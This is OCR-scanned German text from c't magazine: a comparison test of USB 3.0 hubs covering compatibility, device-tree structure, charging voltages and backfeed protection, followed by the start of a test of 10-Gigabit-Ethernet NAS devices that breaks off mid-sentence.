operierten unterdessen ebenso 
problemlos wie Hub, Kabel und 
andere Sticks oder Kabel, Stick 
und andere Hubs. 

- Ein Ensemble aus einem ak- 
tiven, fünf Meter langen Kabel, 
einem passiven Hub und einem 
SuperSpeed-Stick streikte an 
einem PC, während ein anderer 
es einwandfrei erkannte - ganz 
egal ob das lange Kabel vor oder 
hinter dem Hub hing. 

- Wieder andere Probleme 
traten bei einem Mini-PC mit in- 
tegriertem SuperSpeed-Hub auf: 
Nach einem Kaltstart weigerte 
der sich beharrlich, von einem 
USB-Stick zu booten. Nach 
einem Affengriff (Strg+Alt+Entf) 
und Warmstart klappte es indes 
jedes Mal. 

-Nach zahlreichen An- und 
Absteckzyklen hatten wir einen 
Intel-Chipsatz so weit verwirrt, 
dass er von einem der Hubs nur 
noch den 2.0-, aber nicht mehr 
den 3.0-Teil erkannte. Einen Neu- 
start später waren die Probleme 
verschwunden. 

- Nicht unbedingt Licht ins 
Dunkel bringt übrigens so man- 
che USB-Diagnose-Software: So 
war etwa das von uns bisher favo- 


c't 2015, Heft 4 


USB-Hubs: 3.0 versus 2.0 


USB 3.0 ist abwärtskompatibel zu USB 2.0. Weil SuperSpeed 
aber andere Datenleitungen nutzt als die älteren Modi, 
bestehen USB-3.0-Hubs intern aus zwei getrennten Teilen. 


3.0 Host 


Ira 


SS Hub LS/FS/HS Hub 


IT MN 
Super- | | ; r 
Ss il) | Highspeed 
3.0 2.0 
Device Device 


risierte Programm USBlyzer steif 
und fest der Meinung, unsere 
Teststicks liefen nur im High- 
Speed-Modus, obwohl Transfer- 
raten von über 80 MByte/s ein- 
deutig für SuperSpeed sprachen. 
Plausiblere Anzeigen in dieser 
Disziplin lieferte der „USB Device 
Tree Viewer”. 


Komplexe Technik 


Die meisten dieser Probleme 
gehen auf zwei unterschiedliche 
Aspekte zurück: Zum einen jagt 
SuperSpeed-USB unglaublich 
hohe Signalraten über extrem 
billige Leitungen. Noch vor we- 
nigen Jahren hätten selbst Hoch- 


Für die Verbindung von PC und 
Hub sieht die USB-Spezifikation 
Typ-B-Buchsen vor, entweder in 
der Standard- (unten) oder der 
Micro-Version (Mitte). Typ-A- 
Buchsen (oben) sind nicht 
zulässig. 


m 


2.0 Hub 


LS/FS/HS Hub 


nz 


| Highspeed ! 
3.0 2.0 
Device Device 


frequenztechniker einen April- 
scherz vermutet, wenn jemand 
davon fabuliert hätte, 5 GBit/s 
über ein drei Meter langes Kabel 
mit mehreren Steckverbindern 
zu morsen - zumindest wenn so- 
wohl Sende- und Empfänger- 
chips als auch Kabel und Stecker 
für Cent-Beträge herstellbar sein 
sollen. Zum anderen ist die 
ganze Aushandlung der diversen 
Geschwindigkeitsstufen, der Rol- 
lenverteilung und der Strom- 
sparmodi auf dem Universal Se- 
rial Bus hoch komplex. Nicht bes- 
ser wird es dadurch, dass viele 
Hersteller die USB-Spezifikation 
recht frei interpretieren - etwa 
wenn das Gerät den Host über 
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Tipp 


Internen Aufbau, Chip- 
hersteller und -typ sowie 
Firmware-Version können 
Sie mit Diagnose-Tools 

wie dem USBlyzer ermitteln. 
Relevant sind die Felder Ven- 
dor ID (VID) und Product ID 
(PID) sowie bcdDevice. 


seinen Stromverbrauch belügt 
und sich stumpf nimmt, was es 
kriegen kann. 

Mit jeder USB-Generation ist - 
der Abwärtskompatibilität zulie- 
be - die Komplexität rapide ge- 
stiegen. So müssen seit USB 2.0 
die Hubs zwischen unterschied- 
lichen Geschwindigkeiten dol- 
metschen. Für Nutzdatenraten 
von bis zu 460 MByte/s im 
SuperSpeed-Modus führte USB 
3.0 vier zusätzliche Datenleitun- 
gen ein - je zwei zum Senden 
und Empfangen. 


Gespaltene 
Persönlichkeit 


Damit trotzdem auch alte USB- 
2.0-Geräte in moderne Buchsen 
passen und vice versa haben alle 
USB-3.0-Geräte - ganz egal ob 
Host-Controller, Hub oder End- 
gerät - eine gespaltene Persön- 
lichkeit: Jede Kommunikation 
beginnt über die alten bidirek- 
tionalen Leitungen D+ und D- 
mit einer der alten Geschwindig- 
keitsstufen. Erst dann wird aus- 
gehandelt, ob auch ein Super- 
Speed-Gespräch über die neuen 
differenziellen, unidirektionalen 
Kanäle möglich ist. 


Gegen die ungewöhnliche Verschraubung eines 
Typ-B-Steckers (links) hat die USB-Spezifikation 
nichts einzuwenden, wohl aber gegen Typ-A- 
Stecker zum PC-seitigen Anschluss eines Hubs 
(rechts). Micro-B (Mitte) ist indes erlaubt. 
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In direkter Konsequenz hängt 
Host-seitig jede blaue USB-3.0- 
Buchse an zwei verschiedenen 
Ports des Chipsatzes. Hubs be- 
stehen sogar aus zwei komplett 
getrennten Teilen: Der eine küm- 
mert sich nur um die differenziel- 
len SuperSpeed-Leitungen und 
überlässt die älteren Geschwin- 
digkeitsstufen dem anderen. Ein 
Umpacken der Datenpakete res- 
pektive eine Übersetzung von 
SuperSpeed in die langsameren 
Modi ist nicht vorgesehen. Inner- 
halb des 2.0-Teils wird indes wei- 
ter munter umgepackt. Mehr 
dazu lesen Sie in unserem USB- 
Ratgeber [1]. 


Komplexe Baumstruktur 


Der PC als Chef auf dem Bus ver- 
waltet alle Geräte in einer Baum- 
struktur. Einen groben Überblick 
über diese liefert der Geräte- 
manager von Windows, wenn 
man den Ansichtsmodus „Geräte 
nach Verbindung” wählt. Die 
USB Host Controller - egal ob im 
Chipsatz eingebaut oder als Zu- 
satzchip - findet man unterhalb 
des „Stammkomplexes für PCI- 
Express”. Dabei steht Extensible 


Datei Aktion Ansicht ? 
«> mBm ® 


4 ME ACPI xö4-basierter Computer 


Host Controller Interface alias 
xHCI für USB 3.0. Das ältere En- 
hanced Host Controller Interface 
(eHCI) liefert maximal die von 
USB 2.0 eingeführte Geschwin- 
digkeitsstufe High-Speed. Die 
USB-1.1-Varianten UHCI und 
OHCI gibt es bei modernen PCs 
nicht mehr. 

Direkt unterhalb eines jeden 
Host-Controllers hängt im Device 
Tree ein USB Root Hub, der 
wiederum mehrere Ports bereit- 
stellt. Wie es darunter aussieht, 
zeigt etwa der kostenlose USB 
Device Tree Viewer inklusive der 
für das jeweilige Gerät ausgehan- 
delten Übertragungsgeschwin- 
digkeit und sogar den Ports, die 
der Hersteller gar nicht nach 
außen geführt hat. Aber nicht 
nur dadurch wird es kompliziert: 

Zum einen entsprechen die 
logischen „Ports“ nicht immer di- 
rekt den USB-Buchsen des PC. So 
braucht jede blaue USB-3.0- 
Buchse zwei Ports - eine für 
SuperSpeed-Verbindungen und 
eine für die älteren Modi. Folg- 
lich hängen im USB-Baum auch 
die USB-3.0- und -2.0-Teile eines 
modernen Hubs als separate De- 
vices an verschiedenen Ports. 


4 Microsoft ACPI-konformes System 


p A PCI-Bus 


4 Stammkomplex für PCI-Express 
JE Intel{R) Management Engine Interface 
4 Intel(R) USB 3.0 eXtensible-Hostcontroller - 0100 (Microsoft) 


4 9 USB-Root-Hub (HCl) 


4 [) Generischer Hochgeschwindigkeits-USB-Hub (SuperSpeed) 
P} () USB-Massenspeichergerät 
ca ADATA USB Flash Drive USB Device 
® Generischer USB-Hub 
4 [1 Microsoft-Hardware - USB-Maus 
a Microsoft Wheel Mouse Optical (USB) 


P} ® USB-Verbundgerät 


4 [1 USB-Eingabegerät 
= HID-Tastatur 

4 [1 USB-Eingabegerät 
[1 HID-konformer Systemcontroller 
Ü5) HID-konformes Benutzersteuergerät 


Der Gerätemanager von Windows verrät ein wenig über 
die Baumstruktur von USB, aber leider nicht, ob ein Gerät 
tatsächlich im SuperSpeed- oder nur einem der USB-2.0- 


Modi läuft. 


Der generische USB-Hub an Port 10 und der 
Hochgeschwindigkeits-Hub an Port 21 sind in Wahrheit 
die beiden Teile eines einzigen USB-3.0-Hubs und 
versorgen zusammen vier blaue Buchsen. 
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Zum anderen stellen manche 
xHCI-Controller - etwa die der 
Intel-Chipsätze - mehr Ports be- 
reit, als für die SuperSpeed- 
Buchsen nötig wären. So hat das 
xHCI des X99-Chipsatzes etwa 21 
Ports. Zwölf davon versorgen 
insgesamt sechs USB-3.0-Buch- 
sen, die übrigen neun kann der 
Board-Hersteller mit USB-2.0- 
Buchsen - also maximal High- 
Speed - verbinden. Außerdem 
kann der PC-Hersteller sowohl 
Ports ungenutzt lassen als auch 
mit aufgelöteten Hub-Chips wei- 
tere schaffen. 

Eine besonders komplexe 
Konfiguration zeigt das Bild 
unten. Es stammt von unserem 
aktuellen PC-Bauvorschlag [2] 
mit opulent ausgestattetem 
X99-Chipsatz: Die Ports 1 bis 4, 9 
sowie 16 bis 20 versorgen fünf 


File Edit Options Help 


USB-3.0-Buchsen während an 
Ports 5,6 und 11 bis 14 USB-2.0- 
Buchsen hängen. Einen Hub- 
Chip für drei weitere schnelle 
Buchsen hat der Hersteller hinter 
die Ports 10 (High-Speed-Teil) 
und 21 (SuperSpeed-Teil) ge- 
klemmt. Während ein Ausgang 
des Vierfach-Hubs brachliegt, 
steuert ein PCle-Chip weitere 
zwei SuperSpeed-Buchsen (also 
vier Ports) bei. Ungenutzt blei- 
ben drei High-Speed-Ports des 
xHCI sowie das komplette EHCI 
samt „Rate Matching Hub”. 
Dieser „Rate Matching Hub“, 
den Intel an das EHCI des Chip- 
satzes flanscht, ist übrigens kein 
Hub im engeren Sinne. Er setzt 
lediglich zwischen den verschie- 
denen USB-2.0-Geschwindigkei- 
ten um. Bei den neueren xHCI- 
Controllern hat Intel das offen- 


Drives: | ...... v 


2 My Computer 


3307 USB-Root-Hub (xHC1) 
= [Port1] 
++ [Port2] 
«= [Port3] 
= [Port4] 


& Intel(R}) C610 series/X99 chipset USB »HCI Host Controller - 8D31 


«> [Port5] : Microsoft-Hardware - USB-Maus - Mouse 
+ [Port6] : USB-Verbundgerät - HID, HID 


= [Port?] 
= [Port8] 
«= [Port9] 


+ [Port1] 
+ [Port2] 
> [Port3] 

= [Port4] 

= [Port11 
“+ [Port12) 
«= [Port13 
= [Port14 
= [Port15 
<> [Port6 
+ [Port17 
+ [Port18 
+ [Port19 
«= [Port20) 


+ [Port1] 


‚HUB [Port10]: Generischer USB-Hub 


‚HUB, [Port21]: Generischer Hochgeschwindigkeits-USB-Hub (SuperSpeed) 


i = [Port2]: USB-Massenspeichergerät - 1:\ 


«= [Port3] 
> [Port4] 
E] USB-»HCI-kompatibler Hostcontroller 
RT USB-Root-Hub (xHC1] 
= [Port1] 
+“ [Port2] 
«> [Port] 
“= [Port4] 


=].0T USB-Root-Hub 
HUB [Port1]: Generic USB Hub 

+“ [Port1] 

“ [Port2] 

+» [Port3] 

+ [Port4] 

+ [Port5] 

+ [Port6] 

“= [Port?] 

+ [Port8] 

“+ [Port2] 


8 Intel[R) C610 series/x99 chipset USB Enhanced Host Controller #1 - 8D26 


Host Controllers: 3 Root Hubs: 3 Standard Hubs: 3 Peripheral Devices: 3 
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sichtlich anders gelöst, Rate Mat- 
ching Hubs sind uns dort bisher 
nicht begegnet. 


Laden oder schnell laden 


Neben der hohen Transferrate ist 
die von 500 auf 900 mA gestie- 
gene Stromversorgung einer der 
Hauptvorteile von USB 3.0. Aller- 
dings reicht auch das noch nicht, 
um beispielsweise den Akku 
eines Tablets schnell zu laden. 
Daher gibt es verschiedene Kon- 
zepte, wie ein Verbraucher er- 
mittelt, ob er nicht doch mehr 
Strom aus der USB-Buchse zie- 
hen darf: Apple-Geräte erkennen 
anhand einer speziellen, proprie- 
tären Widerstandsbeschaltung, 
ob der USB-Port in der Lage ist, 
Ströme von bis zu 2,1 A zu lie- 
fern. Die USB Battery Charging 
Specifiation definiert gleich 
mehrere Erkennungstechniken 
und Ströme von bis zu 1,5 A über 
normale Typ-A-Verbinder - so- 
fern gleichzeitig maximal Daten 
mit Full-Speed fließen. Bei High- 
Speed sind höchstens 0,9 A drin. 
SuperSpeed erwähnt auch die 


neueste Version (1.2) der Spezifi- 
kation nur am Rande. 

Bei den Tests, ob die Hubs ein 
iPad und ein Android-Tablet 
schnell laden, kamen wir aus 
dem Kopfschütteln nicht mehr 
heraus: Einige Hubs luden das 
iPad nur mit mehr als 500 mA, 
wenn sie mit einem eingeschal- 
teten PC verbunden waren, an- 
dere nur dann nicht und der De- 
lock-Hub gar nicht. Das Android- 
Tablet mit viel Strom zu versor- 
gen gelang nur dem Exsys 
EX-1183HMVS ohne Einschrän- 
kung. Der Logilink UA0112A 
schaffte es immerhin bei abge- 
klemmter Datenverbindung, der 
Rest lieferte nur magere 480 mA, 
was das Tablet monierte. 


Stromversorgung 


Dazu, welche Spannung ein Hub 
bei welchem Strom liefern muss, 
finden sich in den diversen USB- 
Spezifikationen unterschiedliche 
Angaben: USB 3.0 definiert für 
Hosts und Hubs eine Nominal- 
spannung von 5 Volt mit einer 
Toleranz von 5 Prozent - also 


4,75 bis 5,25 Volt. Unter 4,45 Volt 
darf die Spannung aber auch im 
„Worst Case“ nicht fallen. 

Allerdings gilt all das nur für 
Ströme von maximal 900 mA - 
alles darüber sowie einige Spe- 
zialfälle regelt die USB Battery 
Charging Specification: „Char- 
ging Downstream Ports“, also 
solche, die Datenverbindungen 
und Strom gleichzeitig offerie- 
ren, müssen bis 1,5 A die Span- 
nung zwischen 4,75 bis 5,25 Volt 
halten, erst danach darf sie ein- 
brechen. Die „Dedicated Char- 
ging Ports“ reiner Ladegeräte 
müssen sich bis 500 mA konform 
zu USB 2.0 (5 V #5 Prozent) ver- 
halten und bis 1,5 A mindestens 
2 Volt liefern. 

Unabhängig vom Typ muss 
spätestens bei 5 A ein reversibler 
Überstromschutz greifen, der 
alle Beteiligten vor Schaden be- 
wahrt. Dessen ungeachtet ver- 
starb der D-Link DUB-1340 be- 
reits bei der 1,5-A-Messung, ob- 
wohl der Hersteller ein 4-A-Netz- 
teil mitliefert. Beim Logilink 
UA0204 hat ein Port unser Test- 
prozedere nicht überstanden. 
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Die Grafik auf Seite 100 zeigt, 
wie schwer es auch den anderen 
Hubs fällt, die geforderten Span- 
nungen auch bei höheren Strö- 
men zu halten. Die meisten 
schaffen zwar die laxen Vorga- 
ben für Dedicated Charging 
Ports, scheitern aber spätestens 
bei 1,5 A an denen für Charging 
Downstream Ports. Drei unter- 
schreiten bereits bei 900 mA die 
geforderten 4,75 Volt. 

Der Fairness halber sei aller- 
dings angemerkt: Unser Testauf- 
bau mit einer elektronischen 
Last handelt keine Datenverbin- 
dung aus und entspricht damit 
selbst nicht ganz den Vorstellun- 
gen des USB Implementers 
Forum. Dennoch hätten wir bes- 
sere Ergebnisse erwartet, zumal 
es weder an der Leistungsfähig- 
keit noch der Qualität der mitge- 
lieferten Netzteile haperte. 
Selbst das Schwächste könnte 
locker 2 A liefern und hinter den 
Hubs schwankte die Spannung 
nie um mehr als 100 mV - egal 
ob mit oder ohne Last. Auch die 
Frequenz dieser kleinen Ripples 
lag mit 38 bis 100 kHz in einem 
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Stromversorger USB-Hub 


Die USB-Spezifikation definiert verschiedene Bereiche, in denen ein Hub die Versorgungsspannung 
halten muss: Bis 0,9 A darf ein angeschlossenes Gerät 5 Volt +/- 5% erwarten. Ladeports mit 
Datenfunktion müssen sogar bis 1,5 A diesen Korridor einhalten, was einige Kandidaten nicht 
schaffen. Die laxeren Vorschriften für reine Ladeports bereiten dagegen weniger Schwierigkeiten. 


USB 3.0 


Ausgangsspannung in Volt 


0,0 0,5 


Bereich, der bei uns keine 
Alarmglocken schrillen lässt. 
Hubs ohne eigenes Netzteil 
haben wir für die Tests übrigens 
aus einem mit 5 Volt und 2,1 A 
versorgt. 


Elektrische Sünden 


Apropos Netzteil: Alle Hubs funk- 
tionierten auch „Bus Powered“, 
also ohne eigenes Netzteil, belo- 
gen über diesen Zustand aber 
den PC und behaupteten frech, 
sie seien weiterhin self powered. 
Während nachlässige USB-Kom- 


USB-3.0-Hubs 


Hub Delock Hub USB 3.0 61762 


Charging Downstream Port 


Dedicated 
Charging Port. 


g Gerät defekt 


0,9 1/5 


—— Exsys EX-1183HMVS 
—— Hama 54132 

—— LC-Power LC-HUB-EX45 
= Delock 61762 

——- Logilink 00112 
—— Logilink 00204 
= Silverstone EPO1 
——— Hama 39879 

— D-Link DUB-1340 


2,1 


(Lade-)Strom in Ampere 


munikation bezüglich der Strom- 
aufnahme nicht nur weitverbrei- 
tet, sondern meist auch unkri- 
tisch ist, disqualifiziert eine ande- 
re Spezifikationsverletzung die 
Hubs Logilink UA0204, Silversto- 
ne EPO1 und LC-Power LC-HUB- 
EX4S. Ihre Hersteller sparen Cent- 
Beträge bei den Schutzdioden 
und gefährden damit den Host- 
PC. Speist man sie mit einem 
externen Netzteil, kann Strom 
ungehindert zurück in den PC 
fließen. Das untersagt die USB- 
Spezifikation aus guten Gründen 
explizit [3]. 


Logilink UA0112A 


Ausstattung 

Chip Via VL811 Via VL812 

Ports 4 4 

Upstream-Anschluss Buchse Typ B Buchse Typ Micro B 

Stromversorgung Netzteil (5V/4 A) Netzteil (5V / 2A) 

Sonstiges n.v. n.v. 

Tests 

Schutz gegen Rückwärtsspeisung v v 

Schnellladen iPad : ohne / mit PC -/- viv 

Schnellladen Android-Tablet:ohne/mitPC -/- v (an einem Port) / — 

Lesen / Schreiben 461 / 452 MByte/s 458 / 452 MByte/s 
20€ 


Preis 23€ 


100 
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Praxistipps 


Ein Urteil über die neun Hubs zu 
fällen ist nicht leicht. Alle waren 
in der Lage, Daten mit rund 450 
MByte/s zu übertragen und er- 
füllten ihren Zweck in einfachen 
Szenarien tadellos. Sobald man 
sie aber kaskadiert, mit langen 
Kabeln kombiniert oder sich an- 
dere komplexe Konfigurationen 
ausdenkt, zicken sie alle auf die 
ein oder andere Weise. 

Klar abraten müssen wir von 
den drei Hubs ohne Schutzschal- 
tung gegen Rückwärtsspeisung 


Logilink UA0204 Black Silverstone EPO1 


Via VL811 Hitachi D720210 

4 4 

Buchse Typ B Buchse Typ Micro B 
Y-Kabel USB 2.0-Kabel 

n.v. n.V. 

SUNG ZUNG 

ale lo 

458 / 448 MByte/s 458 / 452 MByte/s 
TE € 
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(UA0204, EPO1I und LC-HUB- 
EX4S). Auch die Tatsache, dass 
der DUB-1340 und der UA0204 
durch unsere Tests irreversible 
Schäden erlitten, spricht nicht 
gerade für sie - auch wenn der 
normale Alltagsbetrieb weniger 
fordernd sein dürfte als unsere 
elektronische Last. Mit dem 
Schnellladen von Mobilgeräten 
haben bis auf den sehr teuren 
EX-1183HMVS alle mehr oder 
weniger Probleme. 

Doch unsere Tests liefern nur 
eine Momentaufnahme: So lie- 
gen bei uns im Büro zwei auf den 
ersten Blick identische Exemplare 
des Delock 61762, in denen aber 
zwei völlig verschiedene Chips 
stecken. Dass sich Firmware-Ver- 
sionen gelegentlich ändern, 
wirkt dagegen fast belanglos. 
Letztlich heißt das aber auch, 
dass sowohl unsere Messergeb- 
nisse als auch Kundenbewertun- 
gen bei Amazon und Co. nur be- 
grenzte Aussagekraft haben. 

Viel wichtiger ist es, bereits 
beim Kauf Anzeichen für Pfusch 
zu erkennen, sowie eine Installa- 
tion nach dem Kiss-Prinzip (Keep 
it simple, stupid): 

- Liegen dem Hub statt eines 
Netzteils ein Y-Kabel oder ande- 
re nicht spezifikationskonforme 
Stromadapter bei, liegt der Ver- 
dacht nahe, dass auch bei 
den Schutzschaltungen gespart 
wurde. 

- Ebenfalls nur mit einem un- 
gesunden Hang zum Sparen er- 
klärbar ist, warum einige Herstel- 
ler lieber eine Typ-A-Buchse für 
den Uplink verwenden als eine 


Hama USB Hub 4-Port (39879 Hama 54132 


ET 
ES 
n 
Via VL812 Genesys Logic GL3520 
4 2 
Buchse Typ B Stecker Typ A 
Netzteil (5V /2,5 A) n.V. 
n.V. n.V. 
NG nicht nötig 
ZhZ =? 
== Sjls 
458 / 453 MByte/s 449 / 446 MByte/s 
30€ 44€ 
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Um Hubs, die versuchen, dem PC mit Y-Kabeln (links) oder 
anderen nicht spezifikationsgetreuen Bastellösungen (rechts) 
mehr Strom als erlaubt zu entlocken, sollte man einen weiten 
Bogen machen - meist liegt dann noch mehr im Argen. 


der beiden offiziell vorgesehe- 
nen Typ-B-Varianten. Zumal so 
auch noch Verwechslungsgefahr 
zu den Downstream-Ports be- 
steht. 

- Vermeiden Sie Hub-Kaska- 
den. Das betrifft sowohl das Hin- 
tereinanderstecken von mehre- 
ren Hubs als auch Geräte mit 
mehr als vier Ports, die intern aus 
mehreren Hub-Chips bestehen. 

- Hat der PC-Hersteller intern 
bereits Hubs verbaut, gehört ein 
externer Hub nicht daran, son- 
dern an einen der Ports, die di- 
rekt am Chipsatz hängen. Wel- 
che das sind, verraten Diagnose- 
Tools wie der USB Device Tree 
Viewer. 

- Nichts verursacht mehr USB- 
Probleme als schlechte oder zu 
lange Kabel. Leider betrifft das 
mitunter sogar die mitgeliefer- 
ten Originalstrippen. Klarheit 
schafft nur ein Test mit einem 
anderen Kabel. 

- Je kürzer die Kabel sind und 
je weniger Steckverbindungen 


LC-Power LC-HUB-EX4S 


Exsys EX-1183HMVS 


zwischen Host und Gerät liegen, 
desto besser. Verlängerungska- 
bel sind tabu. 

Wer diese Regeln beachtet, 
dürfte mit den meisten 4-Port- 
Hubs keine Probleme bekom- 
men, und selbst wenn mal was 
klemmt, funktioniert das betref- 
fende Gerät ja vielleicht an 
einem anderen Port. Reicht auch 
das nicht, sollte man einen ande- 
ren Hub ausprobieren - glückli- 
cherweise kosten die ja nicht 
mehr sehr viel. (bbe) 
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D-Link DUB-1340 


Via VL812 Genesys Logic GL3520 VIA VL811 

4 4 4 

Buchse Typ A Buchse Typ B, verschaubbar Micro B (Buchse) /V/ 

Netzteil (5 V/2 A) Netzteil (12V /3 A), Netzteil (5 V/4 A) 
Lysterklemmen 

n.v. verschraubbare Kabel, n.v. 
Befestigungslaschen 

= NG v 

=? vIv -/v 

== viv keine Messung 

458 / 453 MByte/s 449 / 447 MByte/s 459 / 454 MByte/s 

1I€ 74€ 35€ 
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Ernst Ahlers 


Rasante Netzplatten 


Netzwerkspeicher mit 10-Gigabit-Ethernet 


Herkömmliches Gigabit-Ethernet schafft eine Datenrate von 115 MByte/s, was 
moderne PCs und NAS-Geräte locker verdauen. Für Videoproduzenten und andere, 
die mit Multi-Gigabyte-Dateien hantieren, ist das aber zu langsam. Fünf flotte 
Netzwerkspeicher mussten beweisen, wie weit sie die mit 10-Gigabit-Ethernet 
möglichen 1100 MByte/s ausschöpfen können. 


er bei der Arbeit mit gro- 
ßen Dateien im Firmennetz 
richtig Dampf braucht, hängt ein 
potentes NAS (Network Atta- 
ched Storage) als Datenlager ans 
LAN. Wir haben fünf Desktop- 
Modelle zum Test versammelt, 
die entweder ab Werk mit einer 
10GBase-T-Schnittstelle ausge- 
stattet sind oder leicht damit 
nachgerüstet werden können. 
10GBase-T - im Folgenden 
kurz 10GE - ist beim Aufrüsten 
bestehender Netzwerke attrak- 
tiv, weil man meist die vorhan- 
dene Kabel-Infrastruktur weiter- 
verwenden kann und keine 
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neuen Glasfaserkabel legen 
muss [1]. Es schafft gegenüber 
dem etablierten Gigabit-Ether- 
net die zehnfache Datenrate 
(10 000 MBit/s). 

Die Geräte von Asustor, Net- 
gear, QNAP, Synology und The- 
cus sind eher komplette Server 
als reine Netzwerkspeicher. Das 
zeigen die Prozessorbestückung, 
die weitere Hardware-Ausstat- 
tung und die zahlreichen Zu- 
satzfunktionen (siehe Tabelle auf 
Seite 106). 

Alle Prüflinge laufen mit 
Linux, mal mit einem modernen 
Kernel (3.12.20 bei Asustor), mal 


mit einem etwas abgehangenen, 
aber gepflegten (3.0.101 bei Net- 
gear). Auch bei der Kernfunktion, 
dem Samba-Server für Windows- 
Freigaben, gibt es Unterschiede. 
Bei Netgear steckt ein Prerelease 
drin (4.2.0rc3), andere haben äl- 
tere aus der 3er-Serie (Synology, 
Thecus). 

10GBase-T ist noch lange nicht 
so preiswert wie Gigabit-Ether- 
net. Schon ein nicht konfigurier- 
barer, „dummer“ 8-Port-Switch 
wie Netgears XS708E, den wir im 
Test verwendeten, kostet rund 
800 Euro. Für das 24-Port-Modell 
M7100-24X sind 4900 Euro anzu- 
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legen. Bei PCle-Karten für PCs 
und NAS ist man ebenfalls mit 
mehreren hundert Euro dabei: 
Intels X540-T1 mit einem Port 
kostet rund 320 Euro. Für Thecus’ 
auch einzeln erhältliche CIOGTR 
sind 220 Euro fällig. 

Zum hohen Hardware-Preis 
kommen höhere Betriebskosten: 
Während ein einfacher Gigabit- 
Switch mit 8 Ports schlimmsten- 
falls 10 Watt aus dem Stromnetz 
zieht, gönnte sich der XS708E 
mit 7 belegten Ports (6x 10 GE, 
1x 1 GE) im Test rund 66 Watt. 
Zogen wir fünf 10GE-Links ab, 
waren es noch 49 Watt. Jede ak- 
tive 10GE-Verbindung kostet 
also rund 3,5 Watt. Weil davon 
fast alles in Wärme umgewan- 
delt wird, laufen im XS708E zwei 
kleine Lüfter durch. Diesen 
Switch wird sich niemand dauer- 
haft ins Büro stellen wollen - die 
getesteten NAS übrigens auch 
nicht, denn selbst das leiseste 
Gerät machte sich wegen seiner 
Lüfter schon mit 0,6 Sone bei 
SSD-Bestückung bemerkbar. Mit 
zwei Festplatten WD4000FYYZ 
waren es je nach NAS-Modell 0,2 
bis 0,3 Sone mehr. 

Maximale Performance brin- 
gen NAS, wenn man die einge- 
bauten Massenspeicher als RAID O 
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konfiguriert, also Schreib- und 
Lesezugriffe per Striping auffä- 
chert. Jedoch bietet RAID 0 kei- 
nen Ausfallschutz: Stirbt eine 
Platte oder eine SSD, sind alle 
Daten futsch. Nutzen Sie RAID 0 
also nur für Unwichtiges wie 
Temp-Verzeichnisse. 

Mit RAID 1, also Spiegelung, 
ist man vor dem Ausfall einer 
einzelnen Platte geschützt. Aber 
dafür ist der Verbund beim 
Schreiben höchstens so schnell 
wie das langsamste RAID-Mit- 
glied. Schon mit 3 Platten lässt 
sich ein RAID-5-Verbund aufbau- 
en, der Ausfallschutz bringt, auf 
moderner Hardware aber kaum 
langsamer als RAID 0 ist. 

Man kann es nicht oft genug 
sagen: RAID 1 beziehungsweise 
RAID 5 schützen nur gegen 
Hardware-Ausfall einer oder ab 
RAID 6 auch mehrerer Platten, 
nicht gegen Bedienfehler oder 
Amok laufende Software. Wer 
keine regelmäßigen Backups 
macht, handelt fahrlässig. 
Schließlich kann auch das NAS- 
Mainboard sterben. 

Alle getesteten Geräte akzep- 
tierten 6-TByte-Platten, was 
wir mit einer Seagate ST6000- 
NM0024 ausprobierten. Wenn 
selbst damit die gewünschte Ka- 
pazität nicht erreichbar ist, bie- 
ten manche Hersteller Erweite- 
rungsboxen an, die man über 
einen proprietären Expansion- 
Port oder per eSATA anschließt. 
Diesen Weg sollte man sich aber 
gut überlegen und vor dem Pro- 
duktiveinsatz gründlich testen, 
da hier bisweilen vertrackte Pro- 
bleme lauern [2]. 


Bitfäule 


Bei großen Datenmengen kippen 
unweigerlich irgendwann einzel- 
ne Bits von selbst um - sei es 
durch eine stellenweise schwa- 


Asustor AS7010T: 
Newcomer mit flottem 
Prozessor und gutem 
Durchsatz für viel 
Speicherplatz 
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Netgear ReadyNAS 716: 
teuer, aber ECC-Speicher 
und optionaler Bit-Rot- 
Schutz bewahren vor 
Datenverfälschungen 


che Magnetisierung auf der Fest- 
platte oder durch ein verirrtes 
Teilchen kosmischer Strahlung, 
das eine SSD-Speicherzelle teil- 
entlädt. Für seine 4-TByte-NAS- 
Festplatte ST4000VNO000 gibt 
Seagate beispielsweise die Rate 
unkorrigierbarer Bitfehler mit 
höchstens 10°1* an. Das ist zwar 
sehr wenig, aber nicht null. 

Gegen solchen Bit Rot kann 
man sich mit Btrfs als Dateisystem 
schützen, wie Netgear es vorgibt. 
Btrfs erzeugt und checkt Datei- 
prüfsummen, um Bitfehler zu ent- 
decken [3]. Ab RAID 5 kann es sie 
auch automatisch beheben. 

Beim Schreiben neuer Datei- 
en soll der Performance-Verlust 
durch das bei Btrfs standardmä- 
Big aktive Copy-on-Write (COW) 
bei höchstens 5 Prozent liegen. 
Doch bei zufälligen Schreibzu- 
griffen auf große Datenbankda- 
teien kann Btrfs deutlich stärker 
einbrechen, heißt es im Btrfs- 
Wiki (siehe c't-Link am Ende des 
Artikels). 


Netzwerk-Spezialitäten 


Alle getesteten NAS nahmen 
den vom Router übermittelten 
IPv6-Präfix an und setzten sich 
eine Adresse, wenn das Protokoll 
aktiviert war. Damit sind die Ge- 
räte direkt aus dem Internet er- 
reichbar, falls Ihr Provider IPv6 
liefert und Ihr Router IPv6-Anfra- 
gen durchlässt. Für IPv4 können 
sich die Geräte mittels UPnP au- 
tomagisch Port Forwardings ein- 
richten, wenn diese Funktion im 
Router freigegeben ist. Bei IPv6 
muss man die Freigaben manu- 
ell erstellen [4]. 

Wem die Datensicherheit am 
Herzen liegt, der spendiert sei- 
nem NAS eine USV mit USB-An- 
schluss, die bei einem Stromaus- 
fall einige Minuten lang Energie 
aus ihrem Akku liefert, damit der 


lockt 


QNAP TS-470: 
günstiges Einsteiger- 
Gerät, das mit nachrüst- 
barer Virtualisierung 


Netzspeicher geordnet herunter- 
fahren kann. Das NAS fragt dann 
per USB den Netz- und Ladezu- 
stand der USV ab, was alle Prüf- 
linge beherrschen. Drei der fünf 
können den Status sogar als Net- 
UPS-Server weitermelden. So 
kann man aus derselben USV 
weitere Geräte speisen und au- 
tomatisch herunterfahren [5, 6]. 


Funktionserweiterung 


Dank der in modernen Linuxen 
vorhandenen Paketverwaltung 
lernen die NAS auf Wunsch neue 
Funktionen per „App”-Download. 
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Synology war Apache mit Ver- 
sion 2.2.29 vom September 2014 
auf dem aktuellen Stand des 
2.2er-Zweiges, alle anderen hin- 
ken hinterher. Man sollte also gut 
überlegen, ob ein NAS direkt aus 
dem Internet sichtbar sein soll. 


Server separat 


Soll das NAS auch Dienste im 
Internet bereitstellen, empfiehlt 
